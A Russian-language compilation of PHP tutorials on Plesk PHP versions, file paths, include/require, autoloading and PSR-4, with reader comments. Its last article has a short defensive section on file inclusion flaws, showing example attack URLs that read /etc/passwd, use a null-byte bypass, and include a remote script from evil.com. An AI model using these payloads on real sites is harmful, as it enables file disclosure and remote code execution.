Как объявить и подключить php
Перейти к содержимому

Как объявить и подключить php

  • автор:

Добавление индивидуальных версий PHP (Linux)

В системах Linux вы можете установить любую нужную вам версию PHP и затем сделать ее доступной в Plesk, зарегистрировав ее с помощью утилиты php_handler .

Чтобы добавить поддержку той или иной версии PHP в Plesk:

  1. Установите нужную версию PHP на свой сервер. Инструкции по установке смотрите в официальной документации PHP на http://php.net/manual/en/install.php. Если кратко, то установка включает следующие основные шаги. Предупреждение. Эти шаги приводятся только как демонстрация. Процесс установки может значительно отличаться в зависимости от вашей операционной системы и желаемой конфигурации. В случае установки дополнительной версии PHP обратитесь к официальной документации PHP.
    1. Войдите на сервер как root .
    2. Скачайте нужный исходник PHP с официального сайта (http://php.net/downloads.php) и распакуйте его: gunzip php-NN.tar.gz tar -xf php-NN.tar
    3. Настройте и соберите PHP. На этом этапе вы можете настроить необходимые параметры PHP, например, указать, какие нужно включить расширения. Чтобы посмотреть список доступных параметров, используйте команду ./configure —help . cd ../php-NN ./configure —prefix /usr/local/phpNN make make install
    4. Задайте файл php.ini : cp php.ini-development /usr/local/lib/php.ini Файл .ini позволяет редактировать параметры PHP. Если вы хотите поместить файл php.ini в другое место, то на шаге 3 запустите утилиту configure с параметром —with-config-file-path=/путь .
    • -displayname — это название версии PHP, которое будет отображаться в интерфейсе Plesk. Мы рекомендуем включить в displayname номер версии, например: «5.3.3-custom».
    • -path — это расположение двоичного файла PHP CGI. Его можно посмотреть в выводе команды make install , строка Installing PHP CGI binary. Например, если вы видите строку Installing PHP CGI binary: /usr/local/bin/, то вам нужно указать расположение /usr/local/bin/php-cgi. Более подробную информацию смотрите на странице http://php.net/manual/en/install.unix.commandline.php.
    • -phpini — это расположение файла php.ini , например, /путь/php.ini .
    • -type — это тип обработчика PHP, соответствующий данной версии. Подробнее об обработчиках PHP смотрите в разделе Обработчики PHP. Важно. В качестве обработчика PHP можно указать CGI или FastCGI. Обработчик mod_php не поддерживается.
    • (Опционально) -id — это идентификатор, который можно будет использовать для идентификации этой версии PHP при ее редактировании или удалении.

    После регистрации версии PHP в Plesk ее можно будет выбрать в настройках тарифных планов (Тарифные планы > название плана > Настройки PHP) и в настройках PHP для отдельных сайтов (Сайты и домены > Настройки PHP). Смотрите рисунок ниже.

    Относительные и абсолютные пути в HTML и PHP

    Относительные и абсолютные пути в HTML (веб-адреса)

    Абсолютные пути

    В данном случае всё очень просто, мы указываем прямой путь к файлу, лежащему на другом домене. Возможно указание сокращенного пути через использование двух слешей в начале без явного указания http или https и сервер сам подставит нужный протокол (расширение) согласно настройке сервера. Важно заметить, что данный вид является необходимым для перехода между сайтами:

    http://google.com

    Относительно корня сайта

    В данном случае браузер берёт домен сайта и к нему подставляет указанную ссылку. В данном случае получится http://school-php.com/css/style.css. В случае с http, https не надо париться, так как будет браться в том виде, в котором сейчас открыта страница, то есть при http будет http. Так же очень удобно для переноса некого функционала между разными сайтами или же перенос сайта с одного домена на другой не трогая код. Приоритетный способ указания путей к страницам и файлам.

    Относительно данной страницы

    Менее востребованный способ, так как он берёт нынешнюю страницу и к её пути дописывает новый адрес. То есть находясь на странице http://school-php.com/trick ссылка на файл будет иметь вид: http://school-php.com/trick/css/style.css . Практически невозможен в использовании в случаях, когда мы используем ЧПУ.

    Использование тега base

    В данном случае вместо стандартной подставки домена к относительному пути будет подставлен путь из base. То есть мы получим файл, располагающийся:

    http://school-php.com/tricks/css/style.css

    Относительные и абсолютные пути в PHP

    Всё очень просто, работая в файловой системе мы будем придерживаться правил работы с путями в PHP. Если же мы передаём команду в браузер клиента, то тут используются пути HTML. То есть в следующем примере у нас из PHP передаётся путь браузеру с страницей, на которую ему надо перейти. То, что переход между страницами браузер осуществил можно увидеть в адресной строке:

    header("Location: /page2.php");

    Итого, открываем страницу page1.php, а в адресной строке записано page2.php, а всё дело в том, что браузер СНАЧАЛА загрузил страницу page1.php, а потом получил информацию с переадресацией и ЗАГРУЗИЛ страницу вторую page2.php. В данном случае переадресация была на стороне клиента (браузера), а значит используем правила относящиеся к HTML (веб-адрес).

    Абсолютный путь в PHP

    Абсолютный путь в PHP воспринимается как абсолютный путь от директории, в которой установлен веб-сервер. Данный путь можно получить из:

    $_SERVER['DOCUMENT_ROOT']

    Если взять в пример этот сервер, то его путь: /home/school/public_html/schoolphp , значит для того, чтобы указать полный путь к фотографии ‘/photo/img1.jpg’, необходимо указать такой путь:

    getimagesize('/home/school/public_html/schoolphp/photo/img1.jpg'); getimagesize($_SERVER['DOCUMENT_ROOT'].'/photo/img1.jpg');

    Хочу заметить, что сайт может располагаться в поддиректории, то есть для:

    http://school-php.com/forum/

    может быть крайне затруднительно использование DOCUMENT_ROOT, ведь форум (как внешний скрипт) ещё не знает где будет размещаться на сайте. Справиться с данной проблемой можно несколькими способами, давайте парочку перечислим:

    1) Создать в виде поддомена страницу.

    2) Прописать абсолютный путь в конфиге в config.php , то есть:

    Core::$ROOT = $_SERVER['DOCUMENT_ROOT']; getimagesize(Core::$ROOT.'/photo/img1.jpg'); // используем абсолютный путь, который можно модифицировать

    Теперь можно без угрызения совести привязать весь сайт на Core::$ROOT, и если случайным образом необходимо поменять путь до подключаемого файла, то можно переопределить значение Core::$ROOT;

    Относительно стартового файла (базового)

    Во многих системах index.php есть единая точка входа, то есть открывается index.php, а уже из него подключаются другие файлы.

    include './modules/allpages.php';

    В данном случае будет подключен allpages.php по пути: /home/school/public_html/schoolphp/modules/allpages.php . Данный способ удобен тем, что если прописать include в файле allpages.php: include ‘./modules/module/page.php’;, то искать его будет всё равно относительно точки входа, а именно index.php:

    /home/school/public_html/schoolphp/modules/module/page.php

    Достаточно удобная реализация учесть, что мы чётко знаем структуру нашего приложения относительно корневого index.php. Даже если мы вызываем любой другой файл, а не index.php, то работать пути будут абсолютно точно так же. Вызвали мы dir.php , значит относительно файла dir.php и будут браться пути!

    Что ещё надо знать

    Я не мог не напомнить тем, кто забыл или же подсказать тем, кто не знает, что можно вернуться не только вглубь директорий, но и вверх (на папки назад), и синтаксис их достаточно прост:

    include '../file.php';

    В данном случае будет браться директория данного файла или корневого index.php, и возвращаться на 1 папку назад, там же будет искаться файл ‘file.php’.

    DOCUMENT_ROOT не единственный вариант получить корневой путь сайта. Давайте взглянем в мануал: «Директория корня документов, в которой выполняется текущий скрипт, в точности та, которая указана в конфигурационном файле сервера.» . Это значит, что в случаях, если в конфигурационном файле будет некорректно написан путь, то весь сайт не будет работать. Что делать? Можно писать админам и владельцам хостинга, на котором размещается сервер с надеждой, что они исправят свои недочёты. Или искать стабильную альтернативу, которой является __DIR__ , это абсолютный путь к данному файлу, где запущен код файлу. Допустим файл конфигурации у нас лежит в папке config, и чтобы используя __DIR__ не возвращаться каждый раз на 1 папку наверх записью __DIR__’/../’ мы смело можем __DIR__ записать в свою переменную, примером ниже я записал в свойство класса (урок №24, кто не дошел используйте обычную переменную):

    Core::$ROOT = __DIR__; // Или же для старых PHP - dirname(__FILE__);

    Так же хотелось напомнить кое-что интересное и важное. Согласно безопасности веб-сервер запрещает перемещение по директориям выше корня сайта. То есть сайт находится по следующему пути: /home/school/public_html/schoolphp , но прочитать содержание папок /home, или /home/school будет недоступно.

    Может ли PHP пользоваться путями HTML ? Да, в специальных функциях, для примера:

    file_get_contets('http://school-php.com');

    Практика

    В своих старых проектах я использовал DOCUMENT_ROOT, сейчас перешел на относительные index.php пути ‘./папка/файл’.

    Zend2, продукт от разработчиков PHP, один из самых сложных FrameWork на данный момент использует так же относительные пути с отличным синтаксисом от моего, то есть ‘папка/файл’.

    Форум IPB.3 использует dirname(__FILE__).

    Выводы:

    1) В HTML используем пути относительно корня сайта, а именно ‘/file.php’ (Строка начинается со слэша).
    2) в PHP используем относительно корневого файла ‘./file.php’ (Строка начинается с точки и слэша), альтернативой может быть использование свойства, инициализированного в корне: __DIR__;
    3) Переадресация header использует пути из HTML. PHP работая с файловой системой (подключение файлов, сохранение и редактирование изображений) — с PHP путями.

    Школа программирования © 2012-2024
    imbalance_hero | inpost@list.ru , admin@school-php.com
    account on phpforum | youtube channel

    Урок 8. Подключение файла в PHP. Include и require

    Одна из самых занимательных и полезных возможностей php — подключение другого файла. Например, на сайте есть верхнее меню, нижнее и между ними само содержание страницы. И, например, на 10 страницах сайта используется нижнее меню. В какой-то момент в него потребовалось внести изменения. В html Вы бы вручную в каждом отдельном файле вносили изменения, но php позволяет существенно упростить работу с сайтом! Код нижнего меню может содержаться в отдельном файле, а на каждой из 10-ти страниц можно просто подключать этот отдельный файл! То есть все изменения нужно теперь вносить только в файл с меню, а на 10-ти других оно будет отображаться уже с изменениями.

    Смысл подключения в php простым русским языком:

    Файл 1.php
    Верхнее меню

    Файл 2.php
    Нижнее меню

    Файл example.php
    Подкючаем Файл 1.php
    Содержание страницы
    Подкючаем Файл 2.php

    В результате проработки файла example.php будет отображено
    Верхнее меню
    Содержание страницы
    Нижнее меню
    Соответственно, чтобы что-либо изменить в нижнем меню, нужно внести изменения только в файле 2.php

    Путь к файлу

    Подключение файла происходит согласно указанному к файлу пути. Есть два варианта пути: относительный и абсолютный. Относительный — это указание пути к подлючаемому файлу относительно файла с инструкцией подключения. Абсолютный — указание полного пути к подключаемому файла.

    Код PHP

    // пример относительного пути 
    include "include/ваш_файл.php"; // файл лежит в папке include, которая находится в той же директории, что и файл с подключением

    // пример абсолютного пути
    include $_SERVER['DOCUMENT_ROOT']."/include/ваш_файл.php"; // $_SERVER['DOCUMENT_ROOT'] - указывает корневую директорию сайта

    include и include_once

    include() — конструкция, предназначенная для включения файлов в код сценария PHP во время исполнения сценария PHP. При обработке кода инструкция заменяется на содержимое присоединяемого файла. Предлагаю сразу рассмотреть пример.

    Рассмотрим работу include на примере двух файлов: index.php и text.php. Для простоты работы допустим, что они лежат в одной директории.

    Код PHP (файл index.php)

      
    echo "Обычный текст, содержащийся в основном файле";
    include 'text.php'; // подключаем содержимое файла text.php

    ?>

    Код PHP (файл text.php)

      
    echo "Текст, содержащийся в подключаемом файле";

    ?>

    В результате работы файла index.php отобразится:

    Обычный текст, содержащийся в основном файле
    Текст, содержащийся в подключаемом файле
    Правда удобно? Теперь, поменяв содержимое в файле text.php будет совершенно другой результат работы index.php!

    Теперь поговорим о другой конструкции — include_once. Она работает абсолютно также как и include, только создана позже и для тех случаев, когда нельзя повторно подключить файл. Например, Вы боитесь, что в результате ошибки можете подключить файл 2 и более раз, что скажется на некорректной работе страницы и получении соответствующего сообщения об ошибке.

    Код PHP

    include_once 'text.php'; // файл text.php будет подключен только один раз 

    // повторное подключения ниже не будет учтено и отображено
    // и из-за него не будет выведено сообщение об ошибке
    include_once 'text.php'; // ничего не произойдёт

    require и require_once

    Инструкции require и require_once работают идентично include и include_once за исключением лишь одной особенности — в случае того, если подключаемый файл не будет найден, выполнение скрипта будет остановлено (сценарий дальше не будет считываться), в то время как include и include_once просто выводят предупреждение и продолжают дальнейшее выполнение скрипта.

    Постарайтесь в дальнейшем отказаться от использования include и require, применяйте их аналоги с суффиксом _once. В результате это упростит разбиение большой и сложной программы на относительно независимые модули.

    Если не работает include или require

    Чтобы понять причины того, почему не работает include, предлагаю проверить всё по шагам. Какими бы понятными и поверхностными не были указанные ниже пункты, проверьте всё с самого начала

    1. Проверьте, работает ли Ваш сервер и php, работает ли вообще любой php код на сайте
    2. Убедитесь, существует ли файл подключаемый файл
    3. Проверьте, правильно ли введено название файла и расширение в подключении
    4. Убедитесь, что подключаемый php-файл действительно находится по тому адресу, по которому указали
    5. Попробуйте указать не относительный путь, а абсолютный (полный путь к файлу).

    Пример Код PHP

    include "http://www.example.com/include/ваш_файл.php"; 

    // DOCUMENT_ROOT - обозначает корневую директорию ресурса
    include $_SERVER['DOCUMENT_ROOT']."/include/ваш_файл.php";

    6. Если у Вас не подключается файл и не отображается никакой ошибки, то в директории с файлом, который подключаете, создайте файл .htaccess со следующим содержимым

    php_flag display_errors On

    или в файле php, перед подключением, вставьте следующую строку

    error_reporting( E_ALL );

    И та, и другая настройки будут принудительно отображать ошибки

    Спасибо за внимание!

    PHP для начинающих. Подключение файлов

    В продолжении серии “PHP для начинающих”, сегодняшняя статья будет посвящена тому, как PHP ищет и подключает файлы.

    Для чего и почему

    PHP это скриптовый язык, созданный изначально для быстрого ваяния домашних страничек (да, да изначально это же Personal Home Page Tools), а в дальнейшем на нём уже стали создавать магазины, социалки и другие поделки на коленке которые выходят за рамки задуманного, но к чему это я – а к тому, что чем больше функционала закодировано, тем больше желание его правильно структурировать, избавиться от дублирования кода, разбить на логические кусочки и подключать лишь при необходимости (это тоже самое чувство, которое возникло у вас, когда вы читали это предложение, его можно было бы разбить на отдельные кусочки). Для этой цели в PHP есть несколько функции, общий смысл которых сводится к подключению и интерпретации указанного файла. Давайте рассмотрим на примере подключения файлов:

    // file variable.php $a = 0; // file increment.php $a++; // file index.php include ('variable.php'); include ('increment.php'); include ('increment.php'); echo $a;

    Если запустить скрипт index.php, то PHP всё это будет последовательно подключать и выполнять:

    $a = 0; $a++; $a++; echo $a; // выведет 2

    Когда файл подключается, то его код оказывается в той же области видимости, что и строка в которой его подключили, таким образом все переменные, доступные в данной строке будут доступны и в подключаемом файле. Если в подключаемом файле были объявлены классы или функции, то они попадают в глобальную область видимости (если конечно для них не был указан namespace).

    Если вы подключаете файл внутри функции, то подключаемые файлы получают доступ к области видимости функции, таким образом следующий код тоже будет работать:

    function a() < $a = 0; include ('increment.php'); include ('increment.php'); echo $a; >a(); // выведет 2

    Отдельно отмечу магические константы: __DIR__ , __FILE__ , __LINE__ и прочие – они привязаны к контексту и выполняются до того, как происходит включение

    Особенностью подключения файлов является тот момент, что при подключении файла парсинг переключается в режим HTML, по этой причине любой код внутри включаемого файла должен быть заключен в PHP теги:

    А вы видели сайт-файл на 10 000 строк? Аж слёзы на глазах…

    Функции подключения файлов

    Как уже было сказано выше, в PHP существует несколько функции для подключения файлов:

    • include – включает и выполняет указанный файл, если не находит – выдаёт предупреждение E_WARNING
    • include_once – аналогично функции выше, но включает файл единожды
    • require – включает и выполняет указанный файл, если не находит – выдаёт фатальную ошибку E_ERROR
    • require_once – аналогично функции выше, но включает файл единожды

    В действительности, это не совсем функции, это специальные языковые конструкции, и можно круглые скобочки не использовать. Кроме всего прочего есть и другие способы подключения и выполнения файлов, но это уже сами копайте, пусть это будет для вас “задание со звёздочкой” 😉

    Давайте разберём на примерах различия между require и require_once , возьмём один файл echo.php:

    text of file echo.php

    И будем его подключать несколько раз:

    Результатом выполнения будет два подключения нашего файла:

    text of file echo.php

    text of file echo.php

    Существует ещё парочка директив, которые влияют на подключение, но они вам не потребуются – auto_prepend_file и auto_append_file – они позволяют установить файлы которые будут подключены до подключения всех файлов и после выполнения всех скриптов соответственно, я даже не могу придумать живой сценарий, когда это может потребоваться.

    Задание

    Таки придумать и реализовать сценарий по использованию директив auto_prepend_file и auto_append_file , менять их можно только в php.ini, .htaccess или httpd.conf (см. PHP_INI_PERDIR) 🙂

    Где ищет?

    PHP ищет подключаемые файлы в директориях прописанных в директиве include_path. Эта директива также влияет на работу функций fopen() , file() , readfile() и file_get_contents() . Алгоритм работы достаточно простой – при поиске файлов PHP по очереди проверяет каждую директорию из include_path , пока не найдет подключаемый файл, если не найдёт – вернёт ошибку. Для изменения include_path из скрипта следует использовать функцию set_include_path().

    При настройке include_path следует учитывать один важный момент – в качестве разделителя путей в Windows и Linux используются различные символы – “;” и “:” соответственно, так что при указании своей директории используйте константу PATH_SEPARATOR , например:

    // пример пути в linux $path = '/home/dev/library'; // пример пути в windows $path = 'c:\Users\Dev\Library'; // для linux и windows код изменение include_path идентичный set_include_path(get_include_path() . PATH_SEPARATOR . $path);

    Когда вы прописываете include_path в ini файле, то можете использовать переменные окружения типа $ :

    include_path = ".:$/my-php-library"

    Если при подключении файла вы прописываете абсолютный путь (начинающийся с “/”) или относительный (начинающийся с “.” или “..”), то директива include_path будет проигнорирована, а поиск будет осуществлён только по указанному пути.

    Возможно стоило бы рассказать и про safe_mode, но это уже давно история (с версии 5.4), и я надеюсь вы сталкиваться с ним не будете, но если вдруг, то чтобы знали, что такое было, но прошло

    Использование return

    Расскажу о небольшом life-hack’е – если подключаемый файл возвращает что-либо с использованием конструкции return , то эти данные можно получить и использовать, таким образом можно легко организовать подключение файлов конфигурации, приведу пример для наглядности:

    return array( 'host' => 'localhost', 'user' => 'root', 'pass' => '' );
    $dbConfig = require 'config/db.php'; var_dump($dbConfig); /* array( 'host' => 'localhost', 'user' => 'root', 'pass' => '' ) */

    Занимательные факты, без которых жилось и так хорошо: если во включаемом файле определены функции, то они могут быть использованы в основном файле вне зависимости от того, были ли они объявлены до return или после

    Задание
    Написать код, который будет собирать конфигурацию из нескольких папок и файлов. Структура файлов следующая:

    config |-- default | |-- db.php | |-- debug.php | |-- language.php | `-- template.php |-- development | `-- db.php `-- production |-- db.php `-- language.php

    При этом код должен работать следующим образом:

    • если в системном окружении есть переменная PROJECT_PHP_SERVER и она равна development , то должны быть подключены все файлы из папки default, данные занесены в перемененную $config , затем подключены файлы из папки development, а полученные данные должны перетереть соответствующие пункты сохраненные в $config
    • аналогичное поведение если PROJECT_PHP_SERVER равна production (естественно только для папки production)
    • если переменной нет, или она задана неверно, то подключаются только файлы из папки default

    Автоматическое подключение

    Конструкции с подключением файлов выглядят очень громоздко, так и ещё и следить за их обновлением – ещё тот подарочек, зацените кусочек кода из примера статьи про исключения:

    // load all files w/out autoloader require_once 'Education/Command/AbstractCommand.php'; require_once 'Education/CommandManager.php'; require_once 'Education/Exception/EducationException.php'; require_once 'Education/Exception/CommandManagerException.php'; require_once 'Education/Exception/IllegalCommandException.php'; require_once 'Education/RequestHelper.php'; require_once 'Education/Front.php';

    Чтобы избежать подобного “счастья” была придумана функция __autoload – с её помощью можно подключать необходимые нам файлы по имени класса, но лишь при одном условии – для каждого класса создан отдельный файл по имени класса. Вот пример реализации функции __autoload() (пример из комментариев в мануале):

    Класс который будем подключать:

    // класс myClass в отдельном файле myClass.php class myClass < public function __construct() < echo "myClass init'ed successfuly. "; >>

    Файл, который подключает данный класс:

    // пример реализации // ищем файлы в текущей директории function __autoload($classname) < $filename = $classname .".php"; include_once($filename); >// создаём класс $obj = new myClass();

    Теперь о проблемах с данной функцией – представьте на минуточку ситуацию, что вы подключаете сторонний код, а там уже кто-то прописал функцию __autoload() для своего кода, и вуаля:

    Fatal error: Cannot redeclare __autoload()

    Чтобы такого не было, создали функцию, которая позволяет регистрировать произвольную функцию или метод в качестве загрузчика классов – spl_autoload_register, теперь index.php будет выглядеть следующим образом:

    // пример реализации // ищем файлы в текущей директории function myAutoload($classname) < $filename = $classname .".php"; include_once($filename); >// регистрируем загрузчик spl_autoload_register('myAutoload'); // создаём класс $obj = new myClass();

    Рубрика “а вы знали?”: первый параметр spl_autoload_register() не является обязательным, и вызвав функцию без него, в качестве загрузчика будет использоваться функция spl_autoload, поиск будет осуществлён по папкам из include_path и файлам с расширением .php и .inc , но этот список можно расширить с помощью функции spl_autoload_extensions

    Теперь каждый разработчик может регистрировать свой загрузчик, главное чтобы имена классов не совпадали, но это не должно стать проблемой, если вы используете пространства имён.

    Поскольку уже давно существует такой продвинутый функционал как spl_autoload_register() , то функцию __autoload() хотят заявить как deprecated в PHP 7.1, а это значит, что в 7.2 её и вовсе может не быть

    Ну более-менее картина прояснилась, хотя погодите, все зарегистрированные загрузчики становятся в очередь, по мере их регистрации, соответственно если кто-то нахимичил в своё загрузчике, то вместо ожидаемого результата может получится очень неприятный баг. Чтобы такого не было, взрослые умные дядьки описали стандарт, который позволяет подключать сторонние библиотеки без проблем, главное чтобы организация классов в них соответствовала стандарту PSR-0 (уже устарел) или PSR-4. В чём суть требований описанных в стандартах:

    1. Каждая библиотека должна жить в собственном пространстве имён (т.н. vendor namespace)
    2. Для каждого пространства имён должна быть создана собственная папка
    3. Внутри пространства имён могут быть свои подпространства – тоже в отдельных папках
    4. Один класс – один файл
    5. Имя файла с расширением .php должно точно соответствовать имени класса

    Пример из мануала:

    Полное имя класса Пространство имён Базовая директория Полный путь
    \Acme\Log\Writer\File_Writer Acme\Log\Writer ./acme-log-writer/lib/ ./acme-log-writer/lib/File_Writer.php
    \Aura\Web\Response\Status Aura\Web /path/to/aura-web/src/ /path/to/aura-web/src/Response/Status.php
    \Symfony\Core\Request Symfony\Core ./vendor/Symfony/Core/ ./vendor/Symfony/Core/Request.php
    \Zend\Acl Zend /usr/includes/Zend/ /usr/includes/Zend/Acl.php

    Различия этих двух стандартов, лишь в том, что PSR-0 поддерживает старый код без пространства имён, а PSR-4 избавлен от этого анахронизма, да ещё и позволяет избежать ненужной вложенности папок.

    Благодаря этим стандартам стало возможно появление такого инструмента как composer – универсального менеджера пакетов для PHP:

    PHP-инъекция

    Ещё хотел рассказать о первой ошибки всех, кто делает единую точку входа для сайта в одном index.php и называет это MVC-фреймворком:

    Смотришь на код, и так и хочется чего-нить вредоносного туда передать:

    // получить неожиданное поведение системы http://domain.com/index.php?page=../index.php // прочитать файлы в директории сервера http://domain.com/index.php?page=config.ini // прочитать системные файлы http://domain.com/index.php?page=/etc/passwd // запустить файлы, которые мы заранее залили на сервер http://domain.com/index.php?page=user/backdoor.php

    Первое, что приходит на ум – принудительно добавлять расширение .php , но в ряде случаев это можно обойти “благодаря” уязвимости нулевого байта (почитайте, эту уязвимость уже давно исправили, но вдруг вам попадётся интерпретатор более древний, чем PHP 5.3, ну и для общего развития тоже рекомендую):

    // прочитать системные файлы http://domain.com/index.php?page=/etc/passwd%00

    В современных версиях PHP наличие символа нулевого байта в пути подключаемого файла сразу приводит к соответствующей ошибке подключения, и даже если указанный файл существует и его можно подключить, то в результате всегда будет ошибка, проверяется это следующим образом strlen(Z_STRVAL_P(inc_filename)) != Z_STRLEN_P(inc_filename) (это из недров самого PHP)

    Так же существует “чудесная” директива allow_url_include (у неё зависимость от allow_url_fopen), она позволяет подключать и выполнять удаленный PHP файлы, что куда как опасней для вашего сервера:

    // подключаем удалённый PHP скрипт http://domain.com/index.php?page=http://evil.com/index.php

    Увидели, запомнили, и никогда не пользуйтесь, благо по умолчанию выключено. Данная возможность вам потребуется чуть реже, чем никогда, во всех остальных случаях закладывайте правильную архитектуру приложения, где различные части приложения общаются посредством API.

    Задание

    Написать скрипт, который позволит подключать php-скрипты из текущей папки по названию, при этом следуют помнить о возможных уязвимостях и не допустить промашек.

    В заключение

    Данная статья – основа-основ в PHP, так что изучайте внимательно, выполняйте задания и не филоньте, за вас никто учить не будет.

    Posted on 2016-03-14 2024-02-09 Categories PHP Tags Education

    13 thoughts on “PHP для начинающих. Подключение файлов”

    DeaTh says:

    Ох, что-то не тем вы путем пошли, Антон. Информации о PHP для самых маленьких тьма. А вот о серьезных вещах на русском пишут мало.

    Anton Shevchuk says:
    Тьма устаревшей информации, если её изучать – будешь на пару лет отставать, не меньше
    andregarkin says:

    Спасибо за статью, интересно. На первый взгляд “для самых маленьких”, а затем в статье про Композер и пхп-инъекцию, – уже взрослые понятия.

    Sergey Mukhin says:

    Алгоритм работы достаточно простой – при поиске файлов PHP по очереди проверяет каждую директорию из include_path, пока не найдет подключаемый файл, если не найдёт – вернёт ошибку.

    Тут стоит добавить, что в случае, если файл не будет найден в директивах из include_path, то PHP еще заглянет в папку, где находится текущий файл с функцией подключения, а в случае, если файл с этой функцией сам является подключаемым, то и в рабочую папку родительского файла.

    Если при подключении файла вы прописываете абсолютный путь (начинающийся с “/”) или относительный (начинающийся с “.” или “..”), то директива include_path будет проигнорирована, а поиск будет осуществлён только по указанному пути.

    И еще стоит уточнить – если подключать файл по относительному пути в файле, который сам является подключаемым, то поиск будет осуществляться относительно рабочей директории с родительским файлом, а не относительно файла, в котором непосредственно происходит подключение.

Добавить комментарий

Ваш адрес email не будет опубликован. Обязательные поля помечены *